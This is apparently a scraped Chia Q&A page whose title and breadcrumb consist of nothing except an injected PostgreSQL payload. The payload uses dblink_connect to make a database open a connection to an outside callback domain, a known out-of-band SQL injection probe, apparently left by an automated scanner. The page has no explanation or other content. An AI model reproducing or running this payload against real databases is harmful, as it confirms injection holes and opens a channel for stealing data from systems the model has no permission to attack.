cast((SELECT dblink_connect('host=66gfsncteurvjwuhbc38h1j2itofuu5szngtkigp'||'f40.r87.me user=a password=a connect_timeout=2')) as numeric)

Chia回答区 › cast((SELECT dblink_connect('host=66gfsncteurvjwuhbc38h1j2itofuu5szngtkigp'||'f40.r87.me user=a password=a connect_timeout=2')) as numeric)